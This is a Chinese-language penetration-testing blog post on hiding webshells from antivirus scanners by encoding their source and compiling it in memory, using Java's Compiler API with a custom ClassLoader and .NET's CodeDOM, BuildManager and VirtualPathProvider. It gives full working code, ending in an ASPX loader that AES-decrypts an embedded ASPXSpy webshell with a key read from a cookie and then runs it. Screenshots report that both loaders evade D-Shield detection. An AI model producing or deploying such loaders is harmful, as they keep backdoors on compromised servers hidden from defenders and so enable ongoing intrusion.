Evading Anti-Virus by Using Dynamic Code Generation and Reflection

0x0 前言

文章的标题定了好久,但是一直没动笔,几天前完成了 Java 实现部分,后来由于时(划)间(水)关系,今天克服下懒癌完成 .NET 平台部分。文章可能会比较长,算是抛砖引玉吧蛤蛤。(・∀・)

0x1 化静为动

在日常渗透测试中,由于目标主机上存在反病毒软件,Webshell 后门被删是一件非常蛋疼的事情。对于功能较为完善的 Webshell ,都包含大量的静态特征,通过静态规则可以很容易进行匹配。

对于解释性的脚本语言,通常是由脚本引擎在运行时进行动态解析,因此可以比较灵活对指令进行控制,包括使用 eval 等函数完成动态执行。

例如,在 世界上最好的语言 PHP 中,使用 eval 函数动态执行指令:

// echo "Execute on the fly :)";
$data = gzuncompress(base64_decode("eJxLTc7IV1ByrUhNLi1JVcjPUyjJSFVIy6lUsNJUsgYAlZ8JXg=="));
eval($data);

静态类型语言则不然,通常需要编译器在编译期完成类型检查,并生成对应的机器码。而由于后端语言的特殊性,Java、C# 等语言都提供了动态代码生成的功能。同时,通过语言的反射机制,我们可以将动态编译的代码加载到内存运行。

通过这两个特性,可以对静态类型语言进行变形、混淆、加密,并完成动态编译执行。

0x2 Java 篇

在 JDK 1.6 之前,动态代码生成使用 com.sun.tools.* 包来实现,但这个包并不是公开的 API。在 JDK 1.6 时,引入了标准化的包 javax.tools,即 Java Compiler API,下面的 UML 图展示其中几个比较重要的接口和类:

javax_tools_packges

Java 编译 API 中有四个重要的概念:Compiler、Diagnostic、FileObject 以及 FileManager。

1) 编译器

Compiler 即是对代码动态编译的实现(准确来说应该是对 javac 的一层封装),JDK 中提供默认了的 JavaCompiler 接口实现类,可以通过 ToolProvider 来获取编译接口实例:

JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();

在使用 JRE 的环境下,该函数会返回 null

2) 诊断信息

Diagnostic 用于提供编译时产生的相关信息,例如编译错误、警告,包括对应的位置、行号、异常原因等。

3) 文件对象

FileObject 用于描述一个 Java 源码或者编译好的类,JDK 中虽然实现了 SimpleJavaFileObject 类,但并不直接使用,而是通过继承的方式由开发者实现具体的细节。

4) 文件管理器

FileManager 用于定义如何读取、存储文件对象。例如从本地磁盘读取,或者通过网络远程加载等等。通过 JDK 中默认实现的文件管理对象,可以对本地文件进行操作:

StandardFileManager fileManager = compiler.getStandardFileManager(null, null, null);

第一个参数为诊断信息回调接口,后面则为所操作文件的语言区域和编码参数,可以传入 null 来获取默认的配置。

StandardFileManager 提供四个便捷载入源文件的方式:

函数名 描述
getJavaFileObjects(File… files) Gets file objects representing the given files.
getJavaFileObjects(String… names) Gets file objects representing the given file names.
getJavaFileObjectsFromFiles(Iterable<? extends File> files) Gets file objects representing the given files.
getJavaFileObjectsFromStrings(Iterable<String> names) Gets file objects representing the given file names.

其返回的类型都为 Iterable<? extends JavaFileObject>

0x2.1 简单的 run 函数

由于 JavaCompiler 实现了 Tool 接口,可以通过 run 函数来完成基础的动态代码编译:

public class SimpleRunCompiler {

    public void compile(String filename) {
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();

        int status = compiler.run(null, null, null, filename);
        if (status == 0) {
            System.out.println("Compile success!");
        } else {
            System.out.println("Compile failed!");
        }
    }

}

前三个参数分别是编译信息的输入、输出以及错误流,可以实现自己的流对象来完成重定向。最后指定一个要进行编译的源文件,返回值为 0 则代表编译成功。

测试类很简单,在控制台输出一条信息:

public class CompileMe {

    public static void main(String[] args) {
        System.out.println("Compiled on the fly :)");
    }

}

实例化我们的实现类,对测试源码进行动态编译:

SimpleRunCompiler compiler = new SimpleRunCompiler();
compiler.compile("CompileMe.java");

动态编译后,会在同目录下生成编译好的 class 文件,运行测试: image.png

0x2.2 编译任务

run 函数提供的接口非常方便,但无法完成复杂的编译需求,例如指定编译参数、获取结构化的编译信息等。而 JavaCompiler 中提供了 getTask 函数,可以通过传入自定义的编译配置,并获取一个编译任务 CompilationTask

由于提供了更细化的控制粒度,所以 getTask 相对来讲比较复杂:

JavaCompiler.CompilationTask getTask(Writer out,
                                   JavaFileManager fileManager,
                                   DiagnosticListener<? super JavaFileObject> diagnosticListener,
                                   Iterable<String> options,
                                   Iterable<String> classes,
                                   Iterable<? extends JavaFileObject> compilationUnits)
  • out 用于错误信息输出
  • fileManager 文件管理对象,用于实现源文件的读取和编译后字节码类的存储
  • diagnosticListener 调试信息回调函数,用于获取编译信息
  • options 编译参数,和 javac 的编译参数一致
  • classes 指定编译时Annotation 由哪些类进行处理
  • compilationUnits 被编译的源文件

关于 classes 参数中的 注解 Annotation ,是 Java 中的一种类型,可以通过注解向类或字段追加元信息,例如常见的 @Override 注解,标明该函数为重写父类函数:

@Override
public void run() {
}

编译器在编译时,会对注解进行处理,当然如果不是特殊的注解,我们可以将其交由编译默认进行处理,所以在调用 getTask 函数时,可以将其简单设置为 null

public class FileTaskCompiler {

    public void compile(String filename) {

        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();

        DiagnosticCollector<JavaFileObject> diagnosticCollector = new DiagnosticCollector<JavaFileObject>();
        StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticCollector, null, null);

        Iterable javaFileObjects = fileManager.getJavaFileObjects(filename);

        CompilationTask task = compiler.getTask(null, fileManager, diagnosticCollector, null, Arrays.asList("-d", "/tmp"),
                javaFileObjects);
        if (task.call()) {
            System.out.println("Compile success!");
        } else {
            System.out.println("Compile failed!");

            // Display the error informations
            for (Diagnostic diagnostic:
                    diagnosticCollector.getDiagnostics()) {
                System.out.println(diagnostic.getMessage(null));
                System.out.println(diagnostic.getCode());
            }
        }
    }

}

编译运行:

FileTaskCompiler compiler = new FileTaskCompiler();
compiler.compile("CompileMe.java");

0x2.3 内存编译

到目前为止,我们都是通过读取本地源文件的方式来进行编译。而更具诱惑性的,是完成内存编译。

在文档化的 API 中,并没有提供将字符串源码直接进行编译的接口,需要继承 SimpleJavaFileObject 类来描述源码对象:

public class StringJavaFileObject extends SimpleJavaFileObject {

    private String code = null;

    public StringJavaFileObject(String className) {
        super(URI.create(String.format("string:///%s.java", className)), Kind.SOURCE);
    }

    public void setCode(String code) {
        this.code = code;
    }

    @Override
    public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
        return code;
    }
}

值得注意的是传入给父类的 URI 对象,通过指定 string:// 来告知编译对象:这是一个字符串类型的文件对象,并使用重写的 getCharContent 函数获取来源码内容。

构造文件对象并传入编译函数:

public class MemoryOutputTaskCompiler {

    @Override
    public void compile(String className) {
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();

        JavaFileManager fileManager = compiler.getStandardFileManager(null,
                null, null);

        StringJavaFileObject sourceObject = new StringJavaFileObject(className);
        sourceObject.setCode(
                "public class " + className + " {" +
                "    public static void main(String[] var0) {" +
                "        System.out.println(\"Compiled on the fly :)\");" +
                "    }" +
                "}");

        JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, null,
                null, null, Arrays.asList(sourceObject));
        if (task.call()) {
            System.out.println("Compile success!");
        } else {
            System.out.println("Compile failed!");
        }
    }
}

0x2.4 最终版本

在上个实现中,虽然源码的载入途径不同,但是编译后仍然会输出 class 文件到本地。为了进一步完善内存编译,我们再定一个文件类来存储字节码:

public class ClassJavaFileObject extends SimpleJavaFileObject {

    private final ByteArrayOutputStream baos = new ByteArrayOutputStream();

    public ClassJavaFileObject(String className) {
        super(URI.create(String.format("bytes:///%s", className)), Kind.CLASS);
    }

    @Override
    public OutputStream openOutputStream() throws IOException {
        return baos;
    }

    public byte[] getBytes() {
        return baos.toByteArray();
    }
}

StringJavaFileObject 不同的是,这里使用 bytes:// 前缀,来告知编译器使用 openOutputStream 函数来写入输出的 class 字节流。

接下来,我们需要将编译后的字节流进行重定向,将其存储到内存中。

而正如上面所说,文件的输入输出都是由 FileManager 来处理,所以我们需要实现自己的 FileManager 类。

然而,在 JDK 中并没有提供 StandardFileManager 的接口实现类 API,根据文档的描述,正确的做法是继承 ForwardingJavaFileManager,并通过函数重写对默认的 FileManager 进行代理:

public class MemoryClassFileManager extends ForwardingJavaFileManager {

    private ArrayList<ClassJavaFileObject> classes;

    /**
     * Creates a new instance of ForwardingJavaFileManager.
     *
     * @param fileManager delegate to this file manager
     */
    public MemoryClassFileManager(JavaFileManager fileManager) {
        super(fileManager);
        classes = new ArrayList<>();
    }

    public ArrayList<ClassJavaFileObject> getClasses() {
        return classes;
    }

    @Override
    public JavaFileObject getJavaFileForOutput(Location location, String className,
                                               JavaFileObject.Kind kind, FileObject sibling) throws IOException {
        ClassJavaFileObject classJavaFileObject = new ClassJavaFileObject(className);
        classes.add(classJavaFileObject);

        return classJavaFileObject;
    }
}

通过重写 getJavaFileForOutput 函数,我们可以对编译类的输出进行处理,在此我们通过一个列表对字节码进行存储。

最终实现代码如下:

public class MemoryTaskCompiler {

    @Override
    public void compile(String className) {
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
        // 使用自定义的 FileManager 来重定向输出
        MemoryClassFileManager fileManager = new MemoryClassFileManager(compiler.getStandardFileManager(null,
                null, null));

        StringJavaFileObject sourceObject = new StringJavaFileObject(className);
        sourceObject.setCode(
                "public class " + className + " {" +
                "    public static void main(String[] args) {" +
                "        System.out.println(\"Compiled on the fly :)\");" +
                "    }" +
                "}");

        JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, null,
                null, null, Arrays.asList(sourceObject));
        if (task.call()) {
            System.out.println("Compile success!");
        } else {
            System.out.println("Compile failed!");
        }
    }
}

在这次的动态编译中,字节码成功存留在内存中。

0x2.5 ClassLoader

在最终版本中,我们将编译的类字节码存储于内存中。而真正将内存中的字节码运行起来,需要先将其解析成类对象,因此有必要了解一下 ClassLoader 机制。

JDK 中实现的三个类加载器:BootstrapClassLoaderExtClassLoaderAppClasLoader

BootstrapClassLoader 作为最底层的类加载器,使用本地代码进行实现,负责加在最基础的类库,通常位于 $JAVA_HOME/jre/lib/ 下。

ExtClassLoader 则负责加载扩展的核心库,通常位于 $JAVA_HOME/jre/lib/ext 下。

最后,AppClasLoader 负责加载 CLASSPATH 变量中指定的类库,包括一般的应用类。

在这三个类加载器中,存在自顶向下的关系。最顶层的 BootstrapClassLoader,到最底层的 AppClasLoader。当类需要进行实例化时,会通过最底层的父对象引用进行索引,优先使用最顶层的加载器(即 BootstrapClassLoader)进行加载。

而当父加载器无法加载对应的类时,再通过 findClass 方法交由下一层的子加载器进行加载。所以在自定义 ClassLoader 时,可以通过重写 findClass 方法,并调用 defineClass 函数传入字节流,完成类对象解析。

public class MemoryClassLoader extends ClassLoader {

    private MemoryClassFileManager classFileManager;

    public MemoryClassLoader(MemoryClassFileManager classFileManager) {
        super(MemoryClassLoader.class.getClassLoader());

        this.classFileManager = classFileManager;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        for (ClassJavaFileObject classObject:
                classFileManager.getClasses()) {
            // 这里的类名通过 / 开头,所以需要跳过该前缀
            if (classObject.getName().substring(1).equals(name)) {
                byte[] bytes = classObject.getBytes();
                return defineClass(name, bytes, 0, bytes.length);
            }
        }
        return null;
    }
}

0x2.6 反射

在完成类解析之后,最后是对动态编译的类进行实例化,并调用对应的函数进行运行,这里需要用到反射的机制:

public void runInMemory(MemoryClassFileManager fileManager, String className) {
    Class clazz = null;
    // 使用自定义的 ClassLoader 来加在类对象
    MemoryClassLoader loader = new MemoryClassLoader(fileManager);
    try {
        clazz = loader.loadClass(className);

        Method entryMethod = clazz.getMethod("main", new Class[] { String[].class });
        Object instance = clazz.newInstance();

        String[] params = { null };
        entryMethod.invoke(instance, params);
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    } catch (NoSuchMethodException e) {
        e.printStackTrace();
    } catch (IllegalAccessException e) {
        e.printStackTrace();
    } catch (InstantiationException e) {
        e.printStackTrace();
    } catch (InvocationTargetException e) {
        e.printStackTrace();
    }
}

0x3 养兵千日,用兵一时

在完成动态代码执行后,我们可以来完成一些实际化的操作。对于总体上的动态加载器设计,划分为三个部分:

diagram

其中 Encoder 和 Decoder 可以划分为同个部分,混淆代码在经过解码后,在内存中进行动态编译,并交由加载器解析运行。

在这里,笔者使用宇宙超级无敌的 JSPSpy,通过上述的结构,对其进行混淆。

首先要对 JSPSpy 源码进行整理。由于作者在开发时使用非常结构化的方式组织,所以在调整时非常简单:

JSPSpy

对于原有的类,保持不变。而存在于 Servlet 生命周期函数中的代码片段,则使用一个新的类将其封装起来,同时由于 Servlet 中存在 outrequestresponse 等 “全局” 变量,在构造时需要对这些变量进行引用:

reconstructor

之后,对源文件进行简单的 Base64 编码,并作为字符串传入到加载器中:

obfuscated code

由于类中引用了 javax.servlet.* 包,因此在动态编译时,需要指定 servlet-api.jar 包的路径,这个可以通过遍历 ClassLoader 来获取:

StringBuilder pathBuilder = new StringBuilder();
ClassLoader loader = getClass().getClassLoader();

while (loader != null) {
    URL[] urls = ((URLClassLoader) loader).getURLs();
    for(URL url: urls){
        // 注意 Windows 则使用分号进行分割
        pathBuilder.append(url.getPath() + ":");
    }
    loader = loader.getParent();
}

上传到 Web 目录执行,熟悉的界面出现了:

running

使用新版的 D 盾进行查杀:

image.png

Awesome! :-)

0x4 .NET 篇

原计划将 .NET 平台的实现作为开场篇,但在调试时出现了比预期多的坑。

在 .NET 中,动态代码生成的实现称为 代码文档对象模型(Code Document Object Model,CodeDOM,好见鬼的翻译)。在 CodeDOM 中,被构建的代码称为 CodeDOM graphs,代码视图是独立于语言的实现,最终通过 System.CodeDom.Compiler 下的编译器转换为目标语言。

.NET 中提供了三个编译器实现:CSharpCodeProviderJScriptCodeProvider 以及 VBCodeProvider

CodeDomProvider 提供了直接编译字符串形式源码的接口,实现起来比较方便:

static void Main(string[] args)
{
    CSharpCodeProvider provider = new CSharpCodeProvider();

    CompilerParameters parameters = new CompilerParameters();

    parameters.GenerateExecutable = false;
    parameters.GenerateInMemory = true;

    parameters.ReferencedAssemblies.Add("System.dll");

    CompilerResults result = provider.CompileAssemblyFromSource(parameters,
        @"using System;
        namespace Demo
        {
            public class DemoClass
            {
                public static string Greet()
                {
                    return ""Compiled on the fly :)"";
                }
            }
        }");

    Assembly assembly = result.CompiledAssembly;
    var Ret = (string) assembly.GetType("Demo.DemoClass").InvokeMember("Greet", BindingFlags.Public | 
        BindingFlags.Static | BindingFlags.InvokeMethod,
        null, null, null);

    Console.WriteLine(Ret);
    Console.ReadKey();
}

运行:

CodeDomProvider

看似实现起来比 Java 方便挺多,但要完成编译 ASPX 文件,还需要做进一步的处理。在 ASPX 中,除了内嵌的代码,还有 HTML、CSS 等语句,而单单通过 CSharpCodeProvider 并无法完成后面这些解析。

考虑到使用动态输出 HTML 部分,但是 ASPX 中还有一种特(蛋)殊(疼)的标签:

<asp:Button ID="btnClickMe" Text="Button" runat="server" />

这类标记于 runat="server" 的标签,同样需要在服务器上完成解析编译,因此单纯使用 Response.Write 输出还需要实现复杂的处理。

0x4.1 ASP.NET 应用程序和 Page 生命周期

在 ASP.NET 生命周期中,当 IIS 接收到请求后,通过后缀映射载入对应的 ASP.NET 解析库。之后,托管代码开始构建整个 Web 请求,并找到对应的模块进行处理,这些模块必须实现 IHttpHandler 接口,以提供 ProcessRequest 的函数接口。

在程序寻找对应的处理模块时,如果被匹配到的是一个 ASPX 文件,则该文件会被动态编译成独立的 DLL 文件,并存放于 C:\Windows\Microsoft.NET\Framework64\<version>\Temporary ASP.NET Files 下。

实际上,每个从 ASPX 中生成的类均继承自 System.Web.UI.Page 类。而 Page 则类实现了 IHttpHandler 接口,并在函数 ProcessRequest 中完成了整个 页面的生命周期处理

被动态解析的 ASPX 对应的类:

precompile

最后,托管代码通过实例化对应的 Page 子类,调用ProcessRequest 完成请求处理,并将输出结果反馈给客户端。

0x4.2 预编译与输出覆盖

ASPX 的动态编译,是通过 System.Web.Compilation.BuildManager 类来实现的。该类其实是对 CodeDOM 模型的封装,同时加入 ASPX 页面的解析支持。

example.aspx 中,动态构建一个 dynamic.aspx 页面:

public void Page_Load()
{
	Page page = (Page) BuildManager.CreateInstanceFromVirtualPath("~/dynamic.aspx", typeof(Page));
	// 将请求交由动态页面处理
	page.ProcessRequest(HttpContext.Current);
}

protected override void Render(HtmlTextWriter writer)
{
	// 重载 Render 函数,不输出当前 ASPX 文件页面内容
}

当访问 example.aspx 页面时,实际上被覆盖为 dynamic.aspx 页面的内容:

dynamic_replace_page

0x4.3 虚拟文件

但是通过 BuildManager 提供的 API,如果真的需要从磁盘上载入我们的源码,这明显有点鸡肋。但是有趣的是,ASP.NET 提供了一种 虚拟文件 实现。

通过实现并注册一个 VirtualPathProvider,可以通过 ASP.NET 内置的虚拟路径机制来加载特定文件。这个文件可以存在于数据库中,也可以在远程服务器中,具体的操作需要继承VirtualPathProvider 来完成,对于读取虚拟文件,至少需要实现 GetFileFileExists 两个函数:

public class DeferredPathProvider : VirtualPathProvider
{
    public DeferredPathProvider() : base()
    {
    }

    public bool IsTargetVirtualPath(string virtualPath)
    {
        string path = VirtualPathUtility.ToAppRelative(virtualPath);
        return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
    }

    public override VirtualFile GetFile(string virtualPath)
    {
	    // 通过匹配路径,决定是否对文件进行处理
        if (IsTargetVirtualPath(virtualPath))
        {
            return new DeferredVirtualFile(virtualPath);
        }
        // 交由下一个 VirtualPathProvider 进行处理
        else
        {
            return Previous.GetFile(virtualPath);
        }
    }

    public override bool FileExists(string virtualPath)
    {
        return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
    }
}

接下来,继承 VirtualPath 类,完成文件流的具体实现:

public class DeferredVirtualFile : VirtualFile
{
    public DeferredVirtualFile(string virtualFile) : base(virtualFile)
    {
    }

    public override Stream Open()
    {
        Stream stream = new MemoryStream();

        StreamWriter writer = new StreamWriter(stream);
        writer.Write("<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" +
            "<% Response.Write(\"Compiled on the fly :)\"); %>");
        writer.Flush();

        // Reset the memory pointer
        stream.Seek(0, SeekOrigin.Begin);

        return stream;
    }
}

最后,在相同页面中,对 VirtualPathProvider 进行注册:

public void Page_Load()
{
    DeferredPathProvider provider = new DeferredPathProvider();
    // 注册文件提供者
	typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
        BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
        .Invoke(null, new object[] { provider });
        
	// ~/deferred.aspx 为虚拟文件,并不存在于磁盘
    handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));

    handler.ProcessRequest(HttpContext.Current);
}

0x5 Talk is cheap, show me the code

毫无疑问,在这次实践中,我们对 Webshell 三剑客之一的 ASPXSpy 进行混淆(跪舔 bin 牛 :-D)。不过相对于简单的 Base64,这次使用 AES-256 作为 Decoder,密码存放于 Cookies 中,最终将源码解密并进行动态编译执行:

<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
    public class Decoder
    {
        public static string Decode(string data, string password)
        {
            string Ret = null;

            var bytes = Convert.FromBase64String(data);
            var salt = Encoding.Default.GetBytes("GuessMe :)");

            using (MemoryStream stream = new MemoryStream())
            using (RijndaelManaged aes = new RijndaelManaged())
            {
                var key = new Rfc2898DeriveBytes(password, salt);

                aes.Mode = CipherMode.CBC;
                aes.Key = key.GetBytes(aes.KeySize / 8);
                aes.IV = key.GetBytes(aes.BlockSize / 8);

                using (CryptoStream cs = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(bytes, 0, bytes.Length);
                    cs.FlushFinalBlock();
                }

                Ret = Encoding.UTF8.GetString(stream.ToArray());
            }

            return Ret;
        }
    }

    public class DeferredPathProvider : VirtualPathProvider
    {
        public string Password = null;

        public DeferredPathProvider() : base()
        {
        }

        public bool IsTargetVirtualPath(string virtualPath)
        {
            string path = VirtualPathUtility.ToAppRelative(virtualPath);
            return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
        }

        public override VirtualFile GetFile(string virtualPath)
        {
            if (IsTargetVirtualPath(virtualPath))
            {
                return new DeferredVirtualFile(this, virtualPath);
            }
            else
            {
                return Previous.GetFile(virtualPath);
            }
        }

        public override bool FileExists(string virtualPath)
        {
            return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
        }
    }

    public class DeferredVirtualFile : VirtualFile
    {
        DeferredPathProvider provider = null;

        public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)
        {
            this.provider = provider;
        }

        public override Stream Open()
        {
            Stream stream = new MemoryStream();

            StreamWriter writer = new StreamWriter(stream);
            // Replace encrypted data here :-)
            writer.Write(Decoder.Decode(<encrypted_to_base64_string>, provider.Password));
            writer.Flush();

            // Reset the memory pointer
            stream.Seek(0, SeekOrigin.Begin);

            return stream;
        }
    }

    private Page handler = null;

    public void Page_Load()
    {
        DeferredPathProvider provider = new DeferredPathProvider();
        provider.Password = Request.Cookies["Secret"].Value;

        typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
            BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
            .Invoke(null, new object[] { provider });

        handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));

        handler.ProcessRequest(HttpContext.Current);
    }

    protected override void Render(HtmlTextWriter writer)
    {
    }
</script>

在头部的 @Page 指令中,需要指定 ValidateRequestEnableViewStateMac 两个属性。这是由于 ViewState 是交由 ASPXSpy 处理,因此在传入加载器页面时会出现异常问题。

运行,手动加入 Secret 字段到 Cookie 中:

obfuscated_aspx

宇宙无敌 D 盾查杀: aspx_scan_result

其中 AspxSpy2014Final.aspx 为原始文件。

0x6 最后

其实在动态加载器固定之后,明显很容易被特征化。但是进一步的,还可以通过反射对加载器代码本身进行混淆,最终猥琐的实现方式还是挺多 :-D。

而较为遗憾的是没有在 .NET 平台上实现完全内存编译执行,最终会在临时目录下产生编译文件。一方面是自己太菜了,另一方面则是较为复杂的页面解析,单独分离具体的编译实现可能需要更多的时间,剩下的就是留给师傅们更多的想象力了 ;-)。

0x7 引用

Java Compiler API - Java Compiler API Basics

JavaCompiler (Java Platform SE 7 )

Java 内存动态编译执行

详细深入分析 Java ClassLoader 工作机制

Loading an ASP.NET Page Class dynamically in an HttpHandler

Dynamic Source Code Generation and Compilation

ASP.NET Application Life Cycle Overview for IIS 7.0

ASP.NET Page Life Cycle Overview

Dynamically executing code in .Net

VirtualPathProvider Class

C# AES 256 bits Encryption Library with Salt